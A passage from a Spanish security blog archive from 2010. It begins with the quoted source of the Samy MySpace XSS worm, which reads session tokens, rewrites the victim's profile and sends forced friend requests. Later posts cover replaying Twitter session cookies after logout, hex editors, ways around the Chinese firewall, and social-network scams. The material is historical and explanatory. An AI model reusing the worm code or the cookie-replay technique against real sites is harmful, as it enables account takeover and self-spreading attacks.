    while (Q.indexOf('&') != -1)
    {
      Q = Q.replace('&', '%26')
    }
    N += P + '=' + Q;
    O++
  }
  return N
}

function httpSend(BH, BI, BJ, BK)
{
  if (!J)
  {
    return false
  }
  eval('J.onr' + 'eadystatechange=BI');
  J.open(BJ, BH, true);
  if (BJ == 'POST')
  {
    J.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    J.setRequestHeader('Content-Length', BK.length)
  }
  J.send(BK);
  return true
}

function findIn(BF, BB, BC)
{
  var R = BF.indexOf(BB) + BB.length;
  var S = BF.substring(R, R + 1024);
  return S.substring(0, S.indexOf(BC))
}

function getHiddenParameter(BF, BG)
{
  return findIn(BF, 'name=' + B + BG + B + ' value=' + B, B)
}

function getFromURL(BF, BG)
{
  var T;
  if (BG == 'Mytoken')
  {
    T = B
  }
  else
  {
    T = '&'
  }
  var U = BG + '=';
  var V = BF.indexOf(U) + U.length;
  var W = BF.substring(V, V + 1024);
  var X = W.indexOf(T);
  var Y = W.substring(0, X);
  return Y
}

function getXMLObj()
{
  var Z = false;
  if (window.XMLHttpRequest)
  {
    try
    {
      Z = new XMLHttpRequest()
    }
    catch (e)
    {
      Z = false
    }
  }
  else if (window.ActiveXObject)
  {
    try
    {
      Z = new ActiveXObject('Msxml2.XMLHTTP')
    }
    catch (e)
    {
      try
      {
        Z = new ActiveXObject('Microsoft.XMLHTTP')
      }
      catch (e)
      {
        Z = false
      }
    }
  }
  return Z
}
var AA = g();
var AB = AA.indexOf('m' + 'ycode');
var AC = AA.substring(AB, AB + 4096);
var AD = AC.indexOf('D' + 'IV');
var AE = AC.substring(0, AD);
var AF;
if (AE)
{
  AE = AE.replace('jav' + 'a', A + 'jav' + 'a');
  AE = AE.replace('exp' + 'r)', 'exp' + 'r)' + A);
  AF = ' but most of all, samy is my hero. <d' + 'iv id=' + AE + 'D' + 'IV>'
}
var AG;

function getHome()
{
  if (J.readyState != 4)
  {
    return
  }
  var AU = J.responseText;
  AG = findIn(AU, 'P' + 'rofileHeroes', '</td>');
  AG = AG.substring(61, AG.length);
  if (AG.indexOf('samy') == -1)
  {
    if (AF)
    {
      AG += AF;
      var AR = getFromURL(AU, 'Mytoken');
      var AS = new Array();
      AS['interestLabel'] = 'heroes';
      AS['submit'] = 'Preview';
      AS['interest'] = AG;
      J = getXMLObj();
      httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + 
                AR, postHero, 'POST', paramsToString(AS))
    }
  }
}

function postHero()
{
  if (J.readyState != 4)
  {
    return
  }
  var AU = J.responseText;
  var AR = getFromURL(AU, 'Mytoken');
  var AS = new Array();
  AS['interestLabel'] = 'heroes';
  AS['submit'] = 'Submit';
  AS['interest'] = AG;
  AS['hash'] = getHiddenParameter(AU, 'hash');
  httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + 
           AR, nothing, 'POST', paramsToString(AS))
}

function main()
{
  var AN = getClientFID();
  var BH = '/index.cfm?fuseaction=user.viewProfile&friendID=' + AN +
            '&Mytoken=' + L;
  J = getXMLObj();
  httpSend(BH, getHome, 'GET');
  xmlhttp2 = getXMLObj();
  httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&
             amp;Mytoken=' + L, processxForm, 'GET')
}

function processxForm()
{
  if (xmlhttp2.readyState != 4)
  {
    return
  }
  var AU = xmlhttp2.responseText;
  var AQ = getHiddenParameter(AU, 'hashcode');
  var AR = getFromURL(AU, 'Mytoken');
  var AS = new Array();
  AS['hashcode'] = AQ;
  AS['friendID'] = '11851658';
  AS['submit'] = 'Add to Friends';
  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + 
             AR, nothing, 'POST', paramsToString(AS))
}

function httpSend2(BH, BI, BJ, BK)
{
  if (!xmlhttp2)
  {
    return false
  }
  eval('xmlhttp2.onr' + 'eadystatechange=BI');
  xmlhttp2.open(BJ, BH, true);
  if (BJ == 'POST')
  {
    xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length', BK.length)
  }
  xmlhttp2.send(BK);
  return true
}
}"></DIV> 

Por desgracia, por esta "broma" a Samy le condenaron con una pena ejemplar de tres años de libertad condicional, 90 días de servicios para la comunidad y una multa económica de una cantidad desconocida.

Seguramente sea una mala idea, pero podéis seguir a Kamkar en su twitter: @samykamkar.

Referencias:
Leer más...

22 septiembre 2010

Twitter y las galletas caducadas

Ayer fue un día de gran revuelo en el mundo de Internet. Más o menos a la hora de comer en España, se destapaba uno de los mayores fallos conocidos en la red social Twitter. Un fallo en la propia página web de Twitter permitía que, mediante una vulnerabilidad XSS en la gestión del evento "onmouseover", se ejecutara código javascript y, entre otras cosas, permitía hacerse con la cookie de un usuario conectado vía web que pasara el ratón por encima de un tweet especialmente construido que apareciese en su "timeline".

Incluso se llegó a fraguar un nuevo gusano, bautizado como Rainbow (porque mostraba los colores del arco iris, ¿inofensivo verdad?), y se propagaba desde tu propio timeline según pasabas por encima con el ratón.

En multitud de blogs de  seguridad, así como en casi todos los medios de comunicación, se hacían referencias a esta noticia, e incluso nuestro compañero @Yago era consultado por RTVE para dar una opinión como experto en seguridad. Sin embargo, lo que quiero contaros no es lo que otros blogs ya han detallado estupendamente sino algo que ocurrió a posteriori. Y es que resulta que para evitar el posible mal que haya podido hacer el gusano Rainbow o alguna URL un poquito malpensada capturando cookies válidas, se recomendaba cerrar la sesión anterior de Twitter vía web y crear una nueva, invalidando la cookie antigua.

Sin embargo, vía Twitter, varios colegas del mundo de la seguridad (como @Grifo y @K4rliky) indicaban que era posible, incluso habiendo cerrado la sesión en la web de Twitter, reutilizar la cookie antigua y hacer login sin ningún problema. Horas antes, @Yolandaruiz de Panda apuntaba algo similar según el comportamiento de su navegador.

Quise comprobar si efectivamente lo que decían era correcto, así que Firefox + TamperData en mano, capturé mi cookie después de acceder vía web. Después, hice logout, incluso cerré el navegador, a fin de evitar malas pasadas por la caché del mismo, y cargué la página principal: http://www.twitter.com. Me aparecía una página sin usuario activo. Arranqué la extensión Tamper Data y forcé la modificación de las peticiones HTTP. Hice un recargar en la página de Twitter inyectando con Tamper Data la cookie anterior. Pulsé aceptar y voilá! vuelvo a estar dentro con una cookie que se supone que debía estar caducada y por supuesto ser inválida.

¿Por qué este comportamiento?

Bueno, pues aquí entran diferentes teorías.. desgraciadamente no he podido comprobar ninguna a ciencia cierta cuál es la causa pero se me ocurren algunas y, comentando la jugada con más colegas, aparece alguna más.

Inicialmente, un imperio como es el de Twitter, se nos antoja que debe contar una infraestructura de sistemas descomunal para poder dar de comer y beber a la megalómana cantidad de usuarios conectados permanentemente.

Además, Twitter hace uso de las redes Akamai y el servicio S3 de Amazon para cachear y guardar ciertos contenidos estáticos respectivamente, pero por detrás, la gestión de cookies la llevan a cabo una legión de servidores de Twitter. 

  1. El fallo de la cookie válida/inválida podría estar en un problema de sincronización entre nodos de Twitter, de manera que una primera autenticación pasa a través de un nodo y la siguiente es capturada por otro, que,... por algún problema de sincronización no funciona como debe y permite usar una cookie antigua.
  2. Otra idea, es la validez de los contenidos (y de las cookies) en caché de los servidores. En este caso, hay una cola de cookies inválidas a ser vaciada. Al efectuar "en seguida" el intento de acceder con una cookie antigua, puede que el contenido de cookies inválidas de esa cola no se haya llegado a volcar/procesar en un sitio suficientemente centralizado y no de tiempo a invalidarse al volverse a usar (gracias @revskills).
  3. La otra teoría es que el tiempo de cacheo de ese elemento (la cookie) en memoria por parte  del servidor sea demasiado largo y, por algún motivo que desconozco, no se invalide hasta que lo así lo dictamine el time-out predefinido.
Sea como sea, lo que está claro es que durante un rato después a haber cerrado la sesión en Twitter (si se ha accedido vía web) la cookie antigua sigue siendo válida. Lo he comprobado por mí mismo y se puede decir que el sentirse "tranquilo" simplemente cerrando la sesión no es del todo seguro. De hecho, se recomendaba utilizar como alternativa más segura, aplicaciones de terceros (como Tweetdeck o Seesmic) para conectarse, evitando el contacto vía web.

No es la primera, ni la última que Twitter tiene un fallo suficientemente gordo como para que sea noticia, sin embargo, es la primera vez que tiene tal repercusión mediática... y supongo que no será la última.
Leer más...

21 septiembre 2010

Editores hexadecimales - El retorno

De los estupendos comentarios recogidos en la entrada anterior sobre editores hexadecimales, hago una segunda recopilación con todas las utilidades que se quedaron por el camino y que varios lectores han señalado como interesantes.
  • X-Ways WinHex - popular por ser un producto muy orientado a análisis forense, soportando editar distintos sistemas de ficheros, volcados de memoria, plantillas, desarrollo de scripts mediante una API y búsqueda avanzada de cadenas. El precio es muy competitivo 39.41 euros, aunque el hermano mayor WinHex Forensics, completamente enfocado a la realización de forenses, tiene un precio de 819 euros.
  • HxD - se presenta como alternativa gratuita a WinHex (también soporta edición de discos y RAM), búsqueda avanzada, comparación de ficheros,  exportación de datos. Ha sido muy recomendado en los comentarios de la entrada anterior por varios lectores.
  • Bless Hex editor, Ghex y Okteta son tres editores para sistemas Linux, el primero de ellos  y más potente, desarrollado en mono/Gtk, el segundo perteneciente a las herramientas de Gnome y el último incluido en las aplicaciones de KDE. Ghex y Okteta Son bastante básicos (y ligeros) en comparación a otras utilidades, pero cumplen sus funciones.
Bless Hex
Ghex
Okteta
  • pyew es conocido y usado internacionalmente por la comunidad de ingeniería inversa de malware por la facilidad de incluirlo en procesos automáticos de inspección, ya que funciona bajo línea de comandos y está escrito en python. Su uso es sencillo y potente.
  • Beye, es una aplicación portable para windows y linux que permite la previsualización de archivos PE, NE, ELF, además del desensamblado de AVR/Java/i86-AMD64/ARM-XScale/PPC-64. Es gratuita

 
  • Tinyhexer es una herramienta gratuita similar a HxD y WinHex, también soporta automatización de tareas mediante scripts. El único problema es que está descontinuada.

¡Gracias a todas las personas que publicaron comentarios por sus aportaciones!

Leer más...

20 septiembre 2010

Las debilidades de El Gran Cortafuegos Chino desde dentro

Ya se ha hablado mucho del 'Great Firewall' chino, desde su descripción hasta fallos en el sistema, pasando por algunos detalles técnicos.
Sin embargo es un tema que sigue presente, y cada cierto tiempo sale la noticia de que han bloqueado otro servicio más.

Quería ponerme en la piel de los afectados por el firewall, y la forma más asequible de hacerme una idea era ponerme detrás de un proxy chino al que le afecten las restricciones. Vamos a ver qué nos encontramos.

El primer paso es encontrar un proxy chino para navegar a través de él, una tarea fácil.

Una vez preparados y habiendo probado que todo funciona bien, nuestra ardua tarea será intentar conectarnos a Wikileaks, uno de los puntos calientes del firewall (en cuanto a censura se refiere). A partir de ahora deberíamos ser como cualquier ciudadano de China, por lo menos a nivel de conexión (sin "plugins" en nuestro sistema). Puede que la experiencia no sea exactamente la misma, pero podemos hacernos una idea bastante aproximada. Es importante entender que todo lo que hagamos a partir de ahora será pasando por China, sujetos a las restricciones que están impuestas por el firewall chino.

Como esperábamos, en un principio no podemos entrar a Wikileaks, el navegador nos da a entender que el sitio no está disponible (conexión reseteada). Vamos a ver que está pasando por debajo:
El navegador envía la petición al proxy para visualizar Wikileaks, pero el proxy resetea la conexión constantemente. Después de esto se aplica un baneo de unos minutos, en el que todas las peticiones serán reseteadas de igual forma. Parece que el bloqueo se basa en esto, resetear la conexión por el lado del cliente y bloquear las próximas peticiones durante unos minutos (¿a modo de castigo?).

A partir de aquí, mediante diferentes métodos vamos a intentar conectarnos a nuestro objetivo que, no lo olvidemos, es Wikileaks. Vamos a empezar con las soluciones más potentes para después llegar a "trucos" muy simples.

1.- Lo primero que vamos a intentar es llegar a Wikileaks a través de un proxy web al que nos conectaremos mediante HTTPS para que el tráfico no sea legible.
Parece que nuestra primera prueba ha funcionado, ¡hemos conseguido saltarnos la restricción por primera vez!

2.- Vamos a hacer una segunda prueba usando el mismo método pero esta vez sin HTTPS y en otro proxy web diferente, a ver si el firewall detecta ahora el "engaño".
Volvemos a pasar sin problemas.

Según parece, en cuanto al uso de proxies web lo importante es que el host donde está alojado no esté en la lista negra. Es conviene usar HTTPS para que en un análisis de tráfico manual, o mediante la búsqueda de "palabras prohibidas" no nos detecten.

3.- Vamos a probar otra cosa. Wikileaks nos ofrece muchos Cover Domains, nombres alternativos para poder entrar en caso de que nos bloqueen el acceso al sitio original. Vamos a intentar entrar a través de alguno de estos nombres alternativos. Después de probar un par ...
Si intentamos entrar desde el dominio sunshinepress.org se nos permite el acceso, sin ningún tipo de restricción.

4.- Lo último que vamos a probar es algo muy sencillo. Vamos a visitar Wikileaks a través de su dirección IP, de forma que no tengamos que resolver su nombre DNS. Las IPs son 88.80.17.21 y 88.80.17.18, vamos a ver que sucede.
Como podemos ver, no nos resetean la conexión en China (nos responen ACK a la petición), y podemos visitar Wikileaks sin problemas.

Métodos tan sencillos como estos permiten sobrepasar las medidas que pretende implantar El Gran Cortafuegos Chino, sin contar con otros más complejos y efectivos como son el uso de Tor, SSH, VPNs ...

Resumen del artículo:
  1. Nos conectamos a un proxy chino para que nos afecten las restricciones del firewall. Desde aquí hasta el final siempre estará el proxy chino por debajo.
  2. Hacemos una peticion web a pelo a http://wikileaks.org/ -> Denegada (RST).
  3. A través de proxy web con HTTPS -> Ok.
  4. A través de proxy web sin HTTPS, es decir, con HTTP -> Ok.
  5. Conectamos a través de un Cover Domain de Wikileaks -> Ok.
  6. Conectamos directamente a las IPs de Wikileaks, sin DNS -> Ok.

----

Añadiendo un pequeño adjunto a este artículo, me gustaría decir una cosa. Seguro que alguien ya se ha dado cuenta, como podéis ver no estoy publicando este artículo desde Colaboraciones, sino desde una cuenta propia. Esto quiere decir que a partir de aquí, ¡formo parte del equipo de Security By Default como editor! Empiezo con muchas ganas (al igual que cuando enviaba colaboraciones), y me gustaría agradecer a SbD el brindarme su confianza. Espero poder aportar mi granito de arena :)
Leer más...

19 septiembre 2010

Enlaces de la SECmana - 37


Leer más...

18 septiembre 2010

El fraude te busca, te persigue y evoluciona contigo

No está considerado como la profesión más antigua del mundo, pero si una de las acciones documentadas con mayor antigüedad. Ya los griegos engañaron a los habitantes de Troya haciéndoles creer que el famoso caballo era un regalo, así pues la práctica de la estafa o el engaño, viene de antaño.

Con el horizonte de posibilidades que se abren al poder "llegar" a una cantidad inimaginable de público a través de Internet, los practicantes de las estafas se siguen aprovechando del elemento más débil de la cadena, es decir, la inocencia e ignorancia humana para cometer sus actos. Dada la evolución de los hábitos de los usuarios en Internet, se multiplican y actualizan los canales "de moda" para poder actuar.

He intentado ordenar cronológicamente según recuerdo que se empezaron a utilizar, hasta nuestros días:
  • MSN Messenger: Raro es encontrarte una invitación de alguien que no conoces, cuyo correo es extraño, posiblemente extranjero y que le digas lo que le digas siempre te contesta lo mismo. Los primeros bots MSN que, en base a navegar incansablemente por la red, añadía correos de hotmail a su lista y después de una "interesante" y robotizada conversación sin sentido alguno, te proveía de un enlace para que una vez más picaras y tu PC descargara algún tipo de malware. Otra variante de los bots MSN ofrecían servicios de "Quientehaeliminado" de la misma red. Una vez suministrabas tu usuario/contraseña, éstos cambiaban tu mensaje actual y se hacían publicidad a sí mismos, abriendo una ventana y enviando una copia del enlace a todos tus contactos, tanto por correo como por mensajería instantanea. Además cambiaba tu nombre y estado de MSN. De hecho, incluso a día de hoy este tipo de malware todavía está en pleno apogeo y aun la gente pica!
  • Facebook: Cuantas veces he visto grupos en los que se dice, "Si quieres saber quién mira en tu perfil, ingresa en este grupo. Este de verdad funciona"… Cuando el que crea el grupo pone "Este de verdad funciona…" malo, porque está claro que no funciona! ¿Qué saca el creador del mismo al haberte logrado engañar para ser parte de ese grupo? Pues así tendrá a su disposición una gran masa receptora de Spam, o de "ofertas" a las que engañar enviándoles un simpático mensaje con algún enlace,.. que pueda derivar en cualquier otra acción de malware conocida o desconocida. Otro tipo de engaño que ya reseñaba El Maligno en Facebook son publicaciones bastante ingeniosas en los muros de algun@s como: "Si pones tu contraseña de Facebook en tu muro en Facebook aparecerán *******. Haz la prueba si no te lo crees!" y efectivamente y como podéis imaginar, la curiosidad humana es más potente que el pensarlo dos veces: Oye, ¿y si fuera verdad…?  Ya hablamos hace tiempo de aplicaciones facebook que supuestamente eran inofensivas pero que podrían ser altamente maliciosas si les permitíamos acceder a nuestros datos.
  • Twitter: Dado el auténtico boom que ha resultado ser la red Twitter, que incluso se plantean estudios que posiblemente hagan dejar de lado los lectores RSS, está claro que la forma de distribuir spam, y malware en cualquiera de sus formas, pronto se apoyaría en la potencia de esta red social. Así pues, amén del spam generado y que Twitter se encarga de intentar limitar y controlar, dado una vez más a la curiosidad humana, se observaron casos como el de Twifficiency en el que, por pulsar un enlace y hacer login con tu usuario y contraseña de Twitter, te devolvía un mensaje con el porcentaje de "Tu Eficiencia en Twitter". Acto seguido y de la misma forma que con los "Quientehabloqueado" de MSN, la aplicación hacía login con tus credenciales y publicaba en tu timeline tu Twifficiency… En este caso, el autor de la aplicación cometió un error y lo hizo inconscientemente (llegando por cierto a ser trending topic) debido a que "se lió con el mecanismo de funcionamiento OAuth". Otro gran "ataque" de distribución de malware se produjo esta semana mediante el hash #CNP, que mezclaba la capacidad de expansión de un mensaje a través de Twitter, la utilización de varias cuentas comprometidas y a través de uno de los grandes pero "acortados" riesgos: los acortadores de URLs
  • Linkedin: Hace poco ví un post en el blog de nuestro amigo Jordi Prats en el que llegaba a la conclusión que le añadía gente desconocida a Linkedin, con la finalidad de conseguir una red de contactos de IT actualizada que poder vender como base de datos en el mercado de los recursos humanos y el "head hunting".
Podríamos decir que todas estas amenazas requieren de colaboración humana por parte del inocente usuario para ejercer una acción: ya sea un click en un enlace, una llamada a un número premium, aceptar una inocente aplicación Facebook, creer en que alguien da duros a cuatro pesetas, etc, etc,..

Como buenas prácticas a tener en cuenta ante este tipo de amenazas podríamos dar las siguientes:
  • Cuentas "de prueba": Dada la gratuidad de las redes sociales, mensajería instantánea, etc,... nada nos impide el poder contar con tener una cuenta "B" con datos ficticios o no relacionables con la cuenta "A", a partir de la que poder realizar aquellas pruebas, y por supuesto en un entorno "sandboxizado" en el que no se haga daño a nuestro entorno de trabajo.
  • MSN Messenger: Aparte que ya no se puede saber quién te ha eliminado en el MSN a ciencia cierta, una buena forma de evitar el compromiso de la contraseña es cambiarla justo antes de usar el servicio "Quientehaeliminado" y justo después de haberla usado… Aun así, lo mejor es no usarlo!!!
  • Facebook: Piensa dos veces antes de sumarte a un grupo. Si tuvieras que pagar 1 euro por cada "Me gusta" o cada "Grupo" al que te adhieres, miraríamos con mucha más tranquilidad si nos unimos o no así como así.
  • Twitter: Tener precaución antes de pulsar en enlaces acortados y utilizar alguna de las diversas utilidades que permiten hacer un preview del enlace real sin acortar antes de pulsar encima.
  • Email: Por supuesto, contar con un sistema de antispam, antivirus o protección integral bien actualizado sobre vuestros sistemas Windows, o utilizar un sistema operativo Linux o *NIX, para los que existe un número inferior de amenazas que les afecten.
Leer más...